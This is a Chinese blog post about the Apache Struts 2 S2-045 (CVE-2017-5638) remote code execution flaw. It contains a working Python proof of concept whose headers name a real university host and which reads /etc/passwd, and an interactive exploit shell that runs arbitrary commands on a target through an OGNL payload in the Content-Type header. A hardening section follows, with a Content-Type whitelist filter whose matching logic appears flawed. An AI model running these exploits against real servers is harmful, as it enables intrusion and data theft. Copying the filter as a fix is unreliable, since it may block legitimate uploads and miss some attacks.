Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法

Author Avatar
iosmosis 3月 07, 2017
  • 在其它设备中阅读本文章


近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架-Struts2存在远程代码执行的严重漏洞。

漏洞编号

S2-045,CVE-2017-5638

漏洞名称

基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级

高危

漏洞描述

Apache Struts 2被曝出存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

漏洞利用条件和方式

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
2.恶意攻击者精心构造Content-Type的值

漏洞影响范围

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10
Created by Lukasz Lenart, last modified yesterday at 01:14 PM

Poc

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

header1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}

def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]='''%{(#nike='multipart/form-data').
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').
    (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
    (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
    (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
    getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
    (#ros.flush())}'''
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()




poc()

Exp


# coding:utf-8
import requests,json,re

def Poc(url,command):
    headers = {'Content-Type': 'multipart/form-data; boundary=f363ec3cc5ab44708db6a275b1f31a16',"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"}
    headers["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
                          "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    data = json.dumps({"image1":url})
    try:
        req = requests.post(url,data=data,headers=headers)
        if req.status_code == 200:
            print req.content
    except requests.ConnectionError,e:
        print e

th = {"url":""}
while True:
    if th.get("url") != "":
        input_cmd = raw_input("cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
            url = raw_input("set url :")
            th['url'] = url
        elif input_cmd == 'show url':
            print th.get("url")
        else:
            Poc(th.get("url"),input_cmd)
    else:
        url = raw_input("set url :")
        th["url"] = url

加固方式

通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击。

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class SecurityFilter extends HttpServlet implements Filter {

    /**
     * 
     */
    private static final long serialVersionUID = 1L;


    public final String www_url_encode= "application/x-www-form-urlencoded";
    public final String mul_data= "multipart/form-data ";
    public final String txt_pla= "text/plain";

    public void doFilter(ServletRequest arg0, ServletResponse arg1,
            FilterChain arg2) throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) arg0;
        HttpServletResponse response = (HttpServletResponse) arg1;

        String contenType=request.getHeader("conTent-type");

        if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){

            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("非法请求Content-Type!");
            return;
        }
        arg2.doFilter(request, response);
    }

    public void init(FilterConfig arg0) throws ServletException {

    }

}

将Java编译以后的“SecurityFilter.class”(SecurityFilter.java是源代码文件)复制到应用的WEB-INF/classes目录下

⦁ 配置Filter 将下面的代码加入WEB-INF/web.xml文件中

<filter>
    <filter-name>SecurityFilter</filter-name>
    <filter-class>SecurityFilter</filter-class>
  </filter>
<filter-mapping>
    <filter-name>SecurityFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

/代表拦截所有请求,进行攻击代码检查,.action只检查.action结尾的请求。

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到 Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器

重启应用即可